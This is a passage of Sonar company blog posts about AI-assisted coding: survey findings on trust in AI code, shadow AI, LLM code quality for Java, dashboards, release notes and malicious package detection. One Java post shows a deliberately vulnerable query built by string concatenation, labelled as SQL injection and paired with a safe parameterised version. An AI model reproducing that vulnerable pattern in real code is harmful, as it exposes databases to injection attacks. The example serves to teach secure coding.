This disparity suggests that as AI shifts from assistants to agents, the quality of the output remains a central concern. With basic AI assistants, there is always a developer in the loop to verify—or at least review—the output before it's committed. However, as tools become more autonomous, we face a new risk: the intent for verification can easily be overlooked in the rush to prioritize productivity. While developers are finding real value in automating the tasks they dislike most, they still see gaps in an agent's ability to handle the nuanced, complex logic required for deep review or maintaining mission-critical systems.

A powerful force multiplier for smaller teams

One of the most fascinating findings in Chapter 4 is how organization size shapes agent effectiveness. Small-to-medium businesses (SMBs) appear to be gaining the most immediate value from these autonomous tools.

Developers at SMBs report a 67% effectiveness rate for "vibe coding" tasks—using conversational language to create apps—compared to only 52% for their enterprise peers. This suggests that for smaller, agile teams, agents are acting as a significant force multiplier, allowing them to sprint ahead with generative tasks that might otherwise require more human headcount.

What this means for the future of code health

The move toward agentic AI reinforces the central theme of our research: generating code faster—whether by a developer or an agent—is only half the battle. As agents begin to contribute even larger volumes of code to your codebase, the need for an independent, deterministic verification layer becomes a strategic necessity.

Automating the "vibe" phase of development with agents only works if you have an equally robust, automated way to verify the output. Without guardrails, the second act of AI risks flooding development pipelines with unreliable code that simply moves the time-consuming work from "writing" to "fixing." Ultimately, autonomous agents require strict oversight and verification in high-risk operations. You wouldn't let a junior software developer work on mission-critical projects without oversight, and the same standard must apply to agents.

Ready for more?

The shift to agents is just one part of the story. The full State of Code Developer Survey report dives deeper into how these new workflows are impacting technical debt and the "engineering productivity paradox."

Download the full report here

Using Dashboards with SonarQube Cloud

Andrew Osborne — Thu, 05 Feb 2026 14:00:00 GMT

TL;DR overview

Dashboards in SonarQube Cloud provide a centralized view of code quality and security metrics across projects, enabling teams to monitor quality gate status, coverage trends, and issue counts at a glance.
The dashboard interface surfaces key indicators including new code quality, overall technical debt, vulnerability count, and test coverage on both new and overall code.
Teams can use dashboard views to identify which projects need attention and track improvement over time without navigating into individual project details.
SonarQube Cloud dashboards support the code quality workflow by highlighting new code metrics alongside overall codebase health.

Visualizing key code quality and security metrics for your SonarQube Cloud projects just became easier with the general availability of customizable project dashboards.

For engineering managers, tech leads, and security champions, answering the simple question - "Are we production-ready?" or “What is the most impactful thing I should focus on right now?” - hasn't always been simple. Your most critical data often sits in different views, requiring manual aggregation to build a clear picture of project health.

With the release of project dashboards for SonarQube Cloud Enterprise, we are excited to unveil the beginning of our new custom dashboard platform, designed to provide the strategic visibility needed to monitor key metrics, identify risks, and communicate progress - all from one configurable, actionable place.

Strategic visibility for every stakeholder

Data is only valuable when it is actionable. Our new dashboard platform guarantees that every stakeholder has access to the specific insights they need to maintain engineering velocity, without sacrificing code health.

Whether you are tracking technical debt reduction, or verifying your security posture is improving over time, SonarQube Cloud dashboards ensure:

Engineering managers can monitor technical debt trends to check teams are on track with quality goals.
Tech leads can spot spikes in code complexity or duplication, before they become unmanageable.
Security champions can maintain a dedicated view of vulnerability trends and severity distribution, confirming security posture is improving over time.

Flexible views for complex projects

We recognize that reporting needs vary by team and project. Our dashboards offer flexibility to reflect how you prefer to consume code quality and security data.

1. The project health dashboard (zero configuration)

Every project now comes with a built-in project health dashboard. This provides an immediate, consolidated view of the essential indicators: Security, Reliability, Maintainability, and Coverage. It is designed to give you instant value, without requiring any configuration.

2. Fully customized dashboards

To meet specific needs, you can build your own dashboards from scratch, or duplicate an existing one to use as a template. Use our growing library of widgets to filter by code type (overall vs. new code), severity, or language.

How to build your first dashboard

Getting started is straightforward. You will find the new Dashboards item in your project's main branch menu.

To build a custom view:

Navigate to All Dashboards and select Create.
Choose to start from scratch, or duplicate an existing dashboard.
Enter Edit Mode to add and arrange widgets like trend lines, donut charts, and health indicators. You can group themes of widgets using layout sections.

A practical example

Let’s say you want to create a security-focused view. You can create a specific "Security" section in your dashboard and populate it with:

Trend line charts: To visualize how the number of code security issues is trending over time.
Donut charts: To break down issue counts by severity or language.
Trend indicators: To see at a glance if your metrics are improving or degrading compared to the previous period.

You can then arrange these widgets to tell the specific story your stakeholders need to see.

Watch it in action

To see a step-by-step walkthrough of building a custom dashboard, check out our video guide.

Availability and requirements

This feature is available now for all SonarQube Cloud Enterprise plan customers.

If you are currently on an Enterprise plan, you can access dashboards immediately in your project menu. If you are not yet on Enterprise and want to unlock these advanced reporting capabilities, speak to our sales team about an upgrade.

Your feedback is a gift

This milestone marks the beginning of our new insight engine. We are committed to expanding our library of widgets and pre-built dashboards, based on your requirements. We want to build what you need most.

Please post your thoughts, widget requests, and feedback on our dedicated Portal card.

For more detailed technical information, please refer to the official dashboards documentation.

Stop malicious packages in your CI/CD pipeline with SonarQube

Bill Nottingham — Wed, 04 Feb 2026 14:00:00 GMT

TL;DR overview

Malicious packages in npm, PyPI, and other package managers are a growing supply chain threat; attackers use typosquatting, dependency confusion, and compromised maintainer accounts to inject malicious code into legitimate-looking packages.
SonarQube Advanced Security now includes malicious package detection, automatically checking third-party dependencies against a live threat intelligence database and failing the quality gate the moment a risky package is detected in the CI/CD pipeline.
Unlike standard SCA vulnerability scanning that relies on CVE databases, malicious package detection addresses a distinct threat category—active malware in the dependency tree—that CVEs do not capture.
Organizations should configure SonarQube quality gates to block on malicious package detection findings, treating any confirmed malicious dependency as a build-stopping security event regardless of other pipeline results.

“Malware”, short for “malicious software” has been around for decades, starting with the first computer viruses of the 1990s. Early malware was mostly experimentation and pranks. As time passed, malicious software became used for more nefarious purposes such as spam campaigns and denial of service attacks, and in some cases even by nation-states for political goals. More recently, finance has been the target of many categories of malware, as the malicious software is used primarily to install cryptocurrency miners, or exfiltrate wallet credentials.

The key remediation suggested during the early days of malware was “don’t install or execute code that isn’t from someone you trust.” Well, about that…

Public package managers become the weapon of choice

Attackers have shifted their focus to where software is built: public repositories like npm and PyPI. Initially, this took the form of typosquatting—registering malicious packages with names similar to popular ones—or dependency confusion, where public packages mimic internal naming conventions to trick build systems.

However, these methods rely on user error. To achieve widespread impact, attackers now target the source by compromising official, widely used packages.

Attracting the worm

Recent years have seen a surge in sophisticated campaigns targeting package maintainers:

Social engineering: The 2024 xz-utils backdoor resulted from a multi-year effort to gain publishing rights. In 2025, attackers used phished two-factor authentication credentials to hijack and publish malicious updates to popular npm packages.
Self-propagating worms: Modern malware now includes worms that exfiltrate credentials upon execution and automatically replicate the payload to any other packages the compromised user has permission to publish.

When a developer installs a compromised package, their credentials are often leaked immediately. For those with publishing privileges on major repositories, a single infection can trigger a chain reaction across the entire software ecosystem. To protect the codebase, organizations must verify every dependency and ensure security is built into the workflow from the start.

The risk of unverified dependencies

In an era where development speed is essential, teams often use AI to “vibe”- rapidly prototyping and building with generative tools. However, this speed creates a verification bottleneck. AI-generated code frequently relies on external libraries that may introduce security flaws or, worse, active malware.

Traditional vulnerabilities can sometimes be scheduled for later remediation, but a malicious package is different. It is not just another bug; its a critical blocker. If malware enters your environment, it can self-replicate, and compromise any package your credentials can access.

Secure your workflow with SonarQube malicious package detection

To address this challenge, Sonar now includes malicious package detection capability within SonarQube Advanced Security in both Cloud and Server. This feature integrates directly into your existing CI/CD pipeline to ensure that all public third-party dependencies are secure before they ever reach production. Here is how it works:

Automated scanning: SonarQube automatically compares your dependencies against constantly updated lists of known malicious software
Real-time verification: Instead of performing manual audits, you get immediate feedback within your workflow, identifying risky dependencies the moment they are introduced.
Policy enforcement: Using quality gates, you can automatically fail pipelines if a malicious package is detected

Facing the fear

To fix the spread of malware, it must start at the public package managers. The good news is that many researchers are watching public package repositories; malicious software is usually taken down within minutes or hours of publishing. The bad news is that the widespread publishing of malicious software means that organizations need to take extra precautions to avoid them for the short time that they are public. To avoid malicious software in your organization, organizations can take multiple steps:

Avoid installing unversioned software: Malicious software is installed and gone within hours; the way it infects is from users who download and install the latest version without checking. By ensuring all dependencies in your application are pinned to specific, known good, versions, you can avoid accidental installs of malicious software.
Scan your dependencies for known malicious software: By comparing your third party dependencies against lists of known malicious software, you can ensure that you aren’t using any in your code repositories. With SonarQube Advanced Security, this can be done as a regular part of your continuous integration processes.

Immediately remediate if any malware is detected

When SonarQube flags a malicious package, it is a high-stakes event that requires an immediate cross-functional response. Malware isn’t like a normal code vulnerability where you may be able to postpone remediation until a convenient time. If malware is detected in your environment, follow these steps:

Inform your security team: malware requires an immediate shift from development to incident response.
Isolate the environment: Consider any environment where it was installed as compromised
Reset credentials: Revoke and recreate any compromised credentials and secrets

Strengthen your code security

Generating code at speed only adds value if that code is trustworthy. By integrating malicious package detection into your development workflow, you can protect sensitive data and ensure your codebase remains production-ready. Stop compromised dependencies from reaching your environment with SonarQube Advanced Security—available now for SonarQube Cloud and SonarQube Server 2026.1 LTA.

Announcing SonarQube Server 2026.1 LTA

Robert Curlee — Fri, 30 Jan 2026 14:00:00 GMT

TL;DR overview

SonarQube Server 2026.1 LTA is Sonar's most significant release to date, built specifically for the AI-native developer workflow to close the verification gap.
Key enhancements include new AI-native IDE integrations, significantly enhanced code security analysis, expanded standards compliance including MISRA, and broader language coverage.
The release responds to data showing 96% of developers mistrust the accuracy of AI-generated code, shifting team focus to trusting the code being shipped.
The 2026.1 LTA packages a year of 2025 innovations into a single hardened version designed for enterprise stability and deep analysis at scale.

Today, we are unveiling our most significant leap forward to date. We’ve spent the last year building out a platform specifically for the AI-native developer workflow to help your teams reach their full potential by closing the verification gap, ensuring every line of code is secure, healthy, and production-ready.

AI and agentic tools have permanently changed software development. They are accelerating the pace of code creation, but 96% of developers mistrust the accuracy of AI-generated code. As a result, development teams have shifted their attention from "how do we write more code" to "how do we trust the code we’re shipping." This Long-Term Active (LTA) release packages a year of breakthrough innovation into a single, hardened version, providing the stability and deep analysis required to turn AI-generated volume into a sustainable advantage.

Here is a quick view of the more exciting enhancements Sonar delivered in 2025 along with some net new features packaged together in the 2026.1 LTA release of SonarQube Server.

Ready for the AI and agentic SDLC

SonarQube’s new AI-native IDE integrations with Claude Code, Cursor, Windsurf, and Gemini solve the code verification bottleneck by bringing deep code intelligence directly into the modern developer workflow. By connecting your instance to the SonarQube MCP Server, AI agents can now query for code quality and security insights to ensure AI-generated code is production-ready. Accelerate issue remediation while maintaining complete data privacy with AI CodeFix in the IDE. By allowing organizations to "bring your own model" via Azure OpenAI, SonarQube provides automated AI-driven fix suggestions without sending code to external third parties. Together these AI forward looking coding capabilities bring you up to speed with how teams are developing in the new AI-native developer world.

Significantly enhanced code security

Strengthen your software supply chain with Advanced Security, including Software Composition Analysis (SCA), SBOM dependency reporting, and advanced SAST across all major languages: Java, Python, C#, and more, plus newly added SCA support for C and C++. The 2026.1 LTA release introduces proactive malicious package detection and updated advanced SAST for the top Java, C#, and Python libraries to provide highly relevant security findings. SonarQube’s secrets detection is now best in class with the ability to detect over 450 secrets patterns. By bringing dependency security risks directly into the IDE and identifying pipeline misconfigurations in GitHub Actions and Shell/Bash, SonarQube supports "security by design" across your entire CI workflow.

Dependable code quality

Drive engineering velocity with faster, deeper, and more accurate analysis engines that understand complex code structures and intent. Python and Java developers benefit from faster analysis and help creating more maintainable and performant code, while Java analysis now detects deep-seated bugs like null-dereferences across multiple function calls. With up to 50% faster analysis for JavaScript, TypeScript, Python and Kotlin analysis, teams take less time fixing issues and can focus more of their attention on delivering innovative features.

Expanded standards compliance

Automate adherence to global safety and security mandates to eliminate manual bottlenecks. The 2026.1 LTA release provides complete coverage of the MISRA C++:2023 standard, enabling safety-critical development for automotive, medical, and aerospace industries directly within the IDE. Over the last year, we’ve added reports for CWE Top 25 2024, OWASP Mobile Top 10, OWASP Top 10 2025, and STIG V6R3. Also new for the 2026.1 release, SonarQube includes reports for OWASP MASVS and the OWASP Top 10 for LLM standards, ensuring mobile and AI-powered applications meet the highest security benchmarks.

Broader language coverage

SonarQube continues to expand its reach to support modern enterprise tech stacks, including the introduction of full analysis for Rust and comprehensive support for Swift 5.9–6.2. The 2026.1 LTA release adds full compatibility for the latest language versions, such as C#14, .NET 10, Python 3.14, Java 22/23/24, and Dart 3.8, alongside expanded coverage for AI/ML frameworks like PyTorch and PySpark. Improved visibility into .NET test results and support for Jupyter Notebooks in PyTorch ensures that quality standards are maintained across every corner of the organization.

Deeper DevOps integrations

Optimize platform engineering with deeper toolchain connectivity. The new JFrog integration to collect evidence for audit purposes, code health status updates in Slack, and pushing SonarQube issues and status updates into Jira tickets allow software development teams to manage code quality and security as a seamless part of their existing everyday workflow.

Optimized platform operations

Performing updates to the latest version is smoother than ever because newly discovered issues as a result of the changed rules in the update are placed in a sandbox before they cause your quality gates to fail. Plus SonarQube Server can run in IPv6 only environments and deliver custom in-app product news to your teams.

Update or migrate today

SonarQube Server 2026.1 LTA is built to support developers and generative AI tools as they work in synergy. It is the essential verification layer for any organization looking to move fast without sacrificing code health. Update your instance to the latest LTA today, or check out more details on the What’s New page and our detailed LTA release documentation.

Consider migrating to SonarQube Cloud. With the same enterprise-grade capabilities as Server, now is a better time than ever to make the switch. Migrating once means never having to perform another manual version update again, ensuring your team has immediate access to our latest innovations. Contact sales to discuss migrating now.

Are you wondering, "what is an LTA?"

Check out our helpful LTA Update Hub to plan a smooth and successful update to the latest 2026.1 LTA.

Register for the LTA Webinar

Join our live webinar on Feb. 18th at 10:00 AM CST where we will walk you through all the great stuff in the 2026.1 LTA release.

Shadow AI is already writing your code

Anirban Chatterjee — Thu, 29 Jan 2026 14:00:00 GMT

TL;DR overview

Shadow AI is already writing production code: 35% of AI tool usage in development happens through personal, ungoverned accounts rather than work-sanctioned channels—with 52% of ChatGPT usage occurring via personal accounts.
Developers treat AI tools like a utility belt rather than a monolithic platform, using multiple tools for different tasks, creating a fragmented governance challenge that IT-provisioned tool policies alone cannot solve.
The bring your own AI (BYOAI) trend means organizations cannot rely on controlling tool access to govern AI-generated code quality; enforcement must happen at the code level, not the tool access level.
Integrating SonarQube's AI Code Assurance into CI/CD pipelines creates a governance layer that applies consistent quality and security standards to all code regardless of which AI tool or personal account generated it.

In the first two chapters of our State of Code Developer Survey report, we explored the new reality of AI-assisted software development and the critical "trust gap" emerging between the speed of generation and the confidence in the output. We learned that while AI is accelerating coding, it is also creating a bottleneck in code verification.

But before code can be verified, it has to be written. This raises a fundamental question for engineering leaders: where is this code actually coming from?

In the third chapter of the report, we examine the tools developers are choosing to get the job done. The data reveals a fragmented landscape where standard corporate toolkits are competing with a massive wave of "bring your own AI" adoption.

The top 10 AI coding tools developers are using

When we look at the market for AI coding assistants, two names dominate the conversation. Our survey of over 1,100 developers confirms that GitHub Copilot and ChatGPT are the undisputed leaders, used by 75% and 74% of developers, respectively.

But while these two giants lead the pack, the data reveals a rich ecosystem of 10 distinct tools actively vying for developer attention. Claude has secured a strong third position with 48% usage, followed by Gemini (37%) and the AI-native IDE Cursor (31%). The top 10 is rounded out by Perplexity (21%), OpenAI Codex (21%), JetBrains AI Assistant (17%), Amazon Q Developer (12%), and newer entrants like Windsurf (8%).

The reality of tool fragmentation

People are often surprised to see ChatGPT near the top of this list. But it’s important to remember that, despite the dominance of a few key players in the AI coding space, development teams are not standardizing on a single solution. The reality is far more complex.

On average, software development teams are juggling four different AI tools and using them across a variety of different tasks.

This indicates that developers are treating generative AI tools less like a monolithic platform and more like a utility belt. They might use Copilot for autocomplete in the IDE, ChatGPT for explaining complex logic, and Claude for drafting documentation. This fragmentation suggests that no single tool has yet solved the entire software development lifecycle perfectly.

The hidden risk of "shadow AI"

The most pressing finding for engineering leaders is not just what tools are being used, but the provenance under which they are being accessed.

Our data shows that a significant portion of AI adoption is happening outside of official corporate channels. Across the top ten AI tools, 35% of developers are accessing them through personal accounts rather than work-sanctioned ones.

This trend is most visible with general-purpose tools:

52% of developers accessing ChatGPT use a personal account.
63% of Perplexity users use a personal account.

In contrast, tools that integrate deeper into the enterprise workflow show much higher rates of official adoption. GitHub Copilot and Amazon Q Developer both see only 17% personal account usage, suggesting successful top-down deployment strategies.

For leaders, this shadow adoption creates a massive blind spot for security and compliance. When developers use personal accounts, sensitive IP and customer data may be leaving the secure corporate environment, often without any oversight.

Adoption varies by size and experience

The landscape appears different depending on where you look. Large enterprises and small businesses are charting different courses.

SMBs prioritize flexibility: Smaller companies are more likely to embrace a wider range of tools like ChatGPT, Claude, and JetBrains AI than their enterprise counterparts.
Enterprises lock it down: Large organizations are more likely to standardize on governed tools like GitHub Copilot and Amazon Q Developer, reflecting a focus on compliance and security.

Experience levels also drive tool choice. Junior software developers are the primary adopters of newer, more experimental tools like Cursor, Perplexity, and OpenAI Codex. Senior developers, perhaps more cautious or set in their development workflows, tend to stick with established, sanctioned coding tools.

The takeaway

The data paints a clear picture: software developers aren't waiting for permission to innovate. They are actively building their own personal toolchains to get work done faster.

For engineering organizations, the challenge is no longer just about selecting a vendor. It is about managing a "bring your own AI" culture that is already here. The goal is to bring this shadow usage into the light—providing software developers with the verified, secure access they need so they don't have to go outside the guardrails to be productive.

Read the full report

This tool sprawl is just one part of the story. The full State of Code Developer Survey report covers the complete impact of AI on technical debt, agentic workflows, and the differing perspectives of junior and senior developers.

Download the full report here

How to choose your LLM without ruining your Java code

Jonathan Vila Lopez — Mon, 26 Jan 2026 14:00:00 GMT

TL;DR overview

Choosing the right LLM for Java development requires evaluating not just benchmark scores but real-world code quality metrics including maintainability, security, and adherence to Java idioms.
LLMs vary significantly in their Java code quality: some produce idiomatic, well-structured code while others generate verbose, error-prone, or stylistically inconsistent output that increases review burden.
Static analysis with SonarQube provides an objective lens for evaluating LLM-generated Java code, measuring the number and severity of issues introduced per unit of code produced.
Teams should test candidate LLMs against their own codebases and quality standards—not just on generic benchmarks—before committing to a specific tool for Java development workflows.

When evaluating a new AI model, ensuring the code compiles and executes is only the baseline. Experienced developers know that functionality is just the first step; the true standard for production-ready software is code that is reliable, maintainable, and secure.

Analysis of over a dozen LLMs in the latest Sonar Leaderboard data—covering over 4,400 tasks —reveals critical insights into AI model performance.

An important detail: The Sonar Leaderboard has evolved rapidly to match the pace of AI innovation. We have expanded our analysis from five initial models to 16, covering the latest wave of tools including new reasoning models and the Gemini family. With this broader dataset, the gap in code quality is undeniable.

Our data shows that even top-tier models do not consistently output production-ready code. Here are the detailed findings.

The bloatware trap: precision versus verbosity

A revealing insight from the leaderboard is the massive disparity in the volume of code generated by different LLMs to solve identical problems. .

We have two contenders with a very similar success rate (Pass Rate) (~81%), but with opposite approaches:

Gemini 3 Pro: Solves the problem set with ~289k lines of code.
GPT-5.2 High: Needs almost 1 million lines (974k LOC) for the same thing.

Why should you care? Because the verbose model could add unnecessary boilerplate code and avoid using modern Java features that make it significantly harder to read and maintain..

Code face-off: filtering a list

Based on the cyclomatic complexity metrics from the report, this is how the code generated by these model profiles would potentially look:

What you could expect from a "verbose" model (GPT-5.2 High style): They usually add a lot of unnecessary defense, classic loops, and high complexity.

// ❌ Simulated example of a model with high verbosity/complexity

public List<String> filterValidUsers(List<User> users) {

    List<String> validNames = new ArrayList<>();

    if (users != null) {

        for (User u : users) {

            if (u != null) {

                try {

                    String name = u.getName();

                    if (name != null && !name.trim().isEmpty()) {

                        validNames.add(name);

                    }

                } catch (Exception e) {
                    
// Defensive try-catch inside a loop... bad idea 🤦‍♂️

                    continue; 

                }

            }

        }

    }

    return validNames;

}

What an "efficient" model would tend to generate (Gemini 3 Pro / OpenCoder style): Direct, readable, and using the Streams API correctly.

// ✅ Simulated example of an optimized and concise model

public List<String> filterValidUsers(List<User> users) {

    if (users == null) return Collections.emptyList();

    

    return users.stream()

        .map(User::getName)

        .filter(name -> name != null && !name.isBlank())

        .toList(); // Java 16+ style

}

Which model would you rather be responsible for in six months? The answer is obvious: you want the one that is well-documented, testable, and maintainable.

Security: Distinguishing bugs from open doors

Intelligence does not guarantee safety. The assumption that "smarter" models automatically write more secure code is a dangerous one.

The leaderboard tracks issue density to quantify this risk. Models like Opus 4.5 Thinking have a very low density (15.15), while others like Llama 3.2, GPT 5 and 4o can go over 26 issues/kLOC. But the consequential part is not the quantity, it is the criticality.

The danger of "blockers"

Newer models often prioritize rapid string construction over security best practices, reintroducing vulnerabilities like SQL injection that were previously considered solved problems.

Example: Database queries

A model with high issue density could generate code that prioritizes building the String quickly rather than security:

// ❌ Critical Security Hotspot (SQL Injection)

// Typical of models that don't "think" (Chain of Thought) before writing

public List<User> search(String username) {

    String query = "SELECT * FROM users WHERE name = '" + username + "'";

    return entityManager.createNativeQuery(query, User.class).getResultList();

}

While a secure model (like Opus 4.5 Thinking) would tend to use Prepared Statements by default:

// ✅ Secure Code

public List<User> search(String username) {

    String query = "SELECT * FROM users WHERE name = :username";

    return entityManager.createNativeQuery(query, User.class)

        .setParameter("username", username)

        .getResultList();

}

Pro tip: If you use a model with high issue density (>25), assume there are vulnerabilities. Running a comprehensive code scanner (like SonarQube) before accepting the PR will help to mitigate that.

Difference in terms of issue density on the main model of each organization:

"Newer" does not guarantee "better code"

There is a common assumption that a newer version (v5) will always produce higher quality code than its predecessor (v4). Sonar's data says: "Not necessarily!"

Look at the regressions in technical quality:

GPT-4o (May '24): Issue density of 26.08.
GPT-5-minimal (Aug '25): Issue density of 26.65.

Sometimes, new models reintroduce basic code smells, like generic exception handling, just to "get by" and give you a quick answer.

// 🤢 The classic "Smell" that usually reappears in rushed models

try {

    processData();

} catch (Exception e) { 

    // Catching 'Exception' is lazy and hides real errors

    e.printStackTrace(); 

}

The summary: Which model should I use for Java?

To move from "vibe coding" to production-ready code, we recommend choosing models based on the complexity and security requirements of the task.

For business logic and security: Opus 4.5 Thinking

It is the current leaderboard leader with the highest pass rate.

Pass rate: 83.62% (The highest).
Issue density: 15.15 Issues/kLOC (The safest).
Drawback: it’s a slow model, so not appropriate for small coding fixes.

Use it where you cannot afford errors, and the task is complex enough. It introduces the least technical debt.

For "day to day" and maintenance: Gemini 3 Pro

The balanced option.

Efficiency: Very few lines of code (low verbosity).
Quality: Maintains an elite pass rate (>81%).
Verdict: Ideal for generating tests, scripts, or standard features where you want clean and easy-to-read code for your human colleagues.

For extreme logic cases: GPT-5.2 High

Pros: Solves very hard problems.

Cons: Be prepared to refactor a lot of verbose code and clean bad smells.

Final note

Don't let the pass rate fool you. Code that runs but is full of security holes or excessive complexity is a future liability. Consider verifying AI-generated code with a comprehensive code scanner like SonarQube to help ensure your commits are production-ready.

The AI trust gap: Why code verification matters

Ekaterina Okuneva — Thu, 22 Jan 2026 14:00:00 GMT

TL;DR overview

A critical trust gap exists in AI-assisted development: while 96% of developers do not fully trust AI-generated code, only 48% always verify it before committing.
AI tools demonstrably speed up development—82% of developers say AI helps them code faster—but 61% agree AI often produces code that "looks correct but isn't reliable," creating hidden bugs and security risks.
Reviewing AI-generated code requires more effort, not less: 38% of developers report that reviewing AI output takes greater effort than reviewing human-written code.
Developers now rank "reviewing and validating AI-generated code" as the number one most important skill for the AI era, signaling the need for automated verification tools.

In our first post of this series, State of Code Developer Survey report: The current reality of AI coding, we explored how AI has officially evolved from a weekend experiment to a daily professional practice. Developers are using these tools across every layer of the software stack, from prototyping to mission-critical services.

But widespread adoption doesn't automatically equal trust.

In this second chapter of our State of Code Developer Survey report, we dig deeper into the developer psyche to answer a critical question: Do developers actually trust the code that AI systems are generating? The answer reveals a growing tension between speed and security that every engineering team needs to address.

Speed increases as code confidence plummets

There is no denying that AI adoption is accelerating the development lifecycle. Our data confirms that the perceived productivity gains are real.

82% of developers agree that AI tools help them code faster, and 71% say it helps them solve complex problems more efficiently.

Developers are feeling the boost in their personal productivity, and more than half report being more satisfied with their jobs as a result. However, this increased velocity has created a new, paradoxical situation. While code is being generated faster than ever, the confidence in that code hasn't kept pace.

Our survey found a staggering statistic

96% of developers don't fully trust that AI-generated code is functionally correct.

This massive "trust gap" highlights a central conflict of AI coding. Developers are using these tools to move fast, but they are rightfully skeptical of the output. They know that speed is meaningless if the code breaks in production.

The AI code verification bottleneck

Given that nearly all developers harbor doubts about the functional correctness of AI code, you might expect that rigorous verification is the norm. Unfortunately, the reality is more concerning.

Despite the lack of trust, only 48% of developers say they always check their AI-generated or assisted code before committing it. In the rush to ship features, teams may be letting their guard down.

This is likely due to the fact that reviewing AI code is hard work. While AI is supposed to reduce toil, it often just shifts it downstream. In fact, 38% of developers say that reviewing AI-generated code requires more effort than reviewing code written by their human colleagues. This is why teams are increasingly adopting dedicated evaluation layers—tools like SonarQube & Panto focus on systematically assessing AI-generated code review before it reaches production.

The problem of "looks correct but isn't"

Why is verification such a heavy lift? The issue lies in the deceptive nature of Large Language Models (LLMs).

61% of developers agree that AI tools often produce code that "looks correct but isn't reliable."

This creates a subtle and dangerous trap. Unlike a syntax error that breaks the build immediately, AI can generate plausible-looking logic that contains hidden bugs, security vulnerabilities, or hallucinations. Spotting these issues requires a high level of scrutiny and expertise, often more than is required to review human-written code.

This effectively creates a bottleneck in the verify phase. The skill set required for modern development is evolving rapidly; developers now rank "reviewing and validating AI-generated code" as the number one most important skill for the AI era.

Read the full Developer Survey report

This trust gap is just one piece of the puzzle. The full State of Code Developer Survey report explores the consequences of this shift, including how it impacts technical debt, the emerging verification bottleneck, and the surprising differences in how junior and senior developers are adapting.

Download the full report here

Modernizing finance: Insights from a platform engineering leader

Robert Curlee — Wed, 14 Jan 2026 14:00:00 GMT

TL;DR overview

Platform engineering leaders focus on reducing cognitive load for development teams by providing opinionated, self-service internal platforms that encode best practices for CI/CD, security, and observability.
Successful internal developer platforms offer "golden paths"—pre-approved, well-supported workflows—that allow teams to build and deploy software without requiring deep infrastructure expertise.
Embedding code quality and security tooling—like SonarQube—into the platform's standard golden path ensures quality gates are enforced consistently across all teams without individual configuration overhead.
The most impactful platform investments reduce friction at common bottlenecks: environment setup, PR review, and deployment—freeing developers to spend more time on product logic.

We recently sat down with a Platform Engineering leader at a major financial services institution to discuss the realities of modern software development in their highly regulated, distributed environment. Their conversation provided invaluable insights, emphasizing the strategic priorities and necessary tooling required to manage risk, accelerate development, and safely adopt AI.

The strategic pivot: cloud, compliance, and next-gen governance

This institution’s journey reflects the urgent, industry-wide need to govern distributed developer workforces, protect sensitive data, and modernize their software supply chain. Their core platform strategy revolves around several key movements:

Cloud migration and compliance: Moving from a legacy on-premises solution to the cloud was essential to support a geographically distributed workforce and simplify the security surrounding external collaboration. This transition is heavily driven by the need to meet evolving compliance mandates.
Platform engineering vision: The platform team’s primary mission is to create seamless developer experiences and provide flexibility, enabling their internal customers to manage what they can on their chosen DevOps platforms.
The urgency of AI adoption: The institution is prioritizing new technologies like AI code generation. However, given the sensitive nature of their work, this adoption is coupled with a critical mandate to balance the speed of AI with deterministic verification and security.

Core challenges and the demand for smarter automation

Our discussion highlighted key pain points where platform tooling must evolve to meet the challenges of next-generation SDLC governance. For this financial services leader, the bottleneck is no longer code generation, but the verification and operational speed of the platform itself.

1. Eliminating the review bottleneck

The push to adopt AI has accelerated code generation, creating a critical review bottleneck that strains existing processes. To successfully harness AI, the organization requires a comprehensive solution for automated, integrated code quality and code security:

Shift-left security: They require immediate, actionable security insights to prevent issues from ever being committed, particularly for Static Application Security Testing (SAST) and Software Composition Analysis (SCA).
Deterministic feedback: Concerns must be delivered in concrete issue types that are easy for developers to act on and resolve within their workflow.

2. Scaling platform automation

To escape the AI engineering productivity paradox, where faster code generation is negated by manual verification processes, platform operations must be highly automated and scalable.

Reducing toil: The platform team is currently bogged down by a high volume of manual project setup and developer onboarding requests. Automation must be applied to these processes to accelerate developer velocity.
IaC and configuration: They require robust coding tools for platform configuration at scale, such as a fully supported Infrastructure as Code (IaC) solution, to streamline new project provisioning.

3. Granular governance and compliance

In a highly regulated sector, control and auditability are paramount. The institution’s governance needs require precision that legacy tooling often cannot provide.

Fine-grained control: Granular role and permissions management is critical for security, allowing the platform team to grant minimum necessary access for activities like managing a single Quality Gate or performing a one-off action.
Centralized standards: The ability to synchronize user and permission settings with their Git hosting platform is an ideal state for ensuring organizational security and quality policies are applied consistently across all code, developer-written and AI-generated alike.

The takeaway for platform and development leaders

These insights underscore a crucial truth for the enterprise software ecosystem: realizing the value of AI-driven development requires rigorous investment in the "verify" component of the workflow.

For Sonar, this means treating our APIs, SDKs, and platform automation capabilities as a first-class product. By focusing on providing professional-grade tools for the platform engineering team and helping them embed integrated code security and code quality earlier and more effectively, we solidify our position as the trusted verification layer for AI code, helping large, regulated organizations accelerate without compromising their codebase health.

Moreover, this face-to-face engagement also highlights why onsite visits with Sonar customers is so important. It's a key opportunity to answer their burning questions and truly understand what they need next.

If you would like to volunteer for the Sonar Team to join you in a future onsite visit, we would invite you to reach out to your Sonar account manager and mention our product research team.

State of Code Developer Survey report: The current reality of AI coding

Anirban Chatterjee — Thu, 08 Jan 2026 14:00:00 GMT

TL;DR overview

Sonar's 2026 State of Code Developer Survey of over 1,100 professional developers finds that AI accounts for 42% of committed code today and is expected to reach 65% by 2027—but 96% of developers do not fully trust AI-generated code, and only 48% always verify it before committing.
Rather than delivering a direct productivity boost, the surge in AI-generated code has created a verification bottleneck: 38% of developers report that reviewing AI code requires more effort than reviewing code written by human colleagues.
SonarQube users report substantially stronger outcomes—including positive impacts on code quality, rework costs, and defects—than non-users, and are 44% less likely to experience outages caused by AI-generated code.
The survey identifies verification as the critical differentiator in extracting real productivity from AI: organizations that pair rapid AI generation with automated quality and security checks achieve speed without accumulating hidden reliability risks.

Sonar analyzes over 750 billion lines of code every day. This gives us a unique, high-level view of the state of code quality and security across the globe. We can see the trends in the code itself, but to truly understand the state of software development, we need to understand the people writing it.

To get this on-the-ground perspective, we launched the State of Code Developer Survey. We surveyed more than 1,100 professional developers to understand how their daily work is changing—specifically in the wake of the AI coding boom. We wanted to move beyond the hype and get a read on the reality: the efficiencies, the frustrations, and the new workflows that are actually emerging in engineering teams today.

What we found challenges the common narrative. While AI adoption is massive, it hasn’t led to a simple, linear boost in productivity. Instead, it has created a new bottleneck at the verification stage, with more work now required to review code.

Download the full report

Here is a look at the key findings from the first chapter of our report, focusing on how developers are really using AI today.

AI is now a daily habit, not an experiment

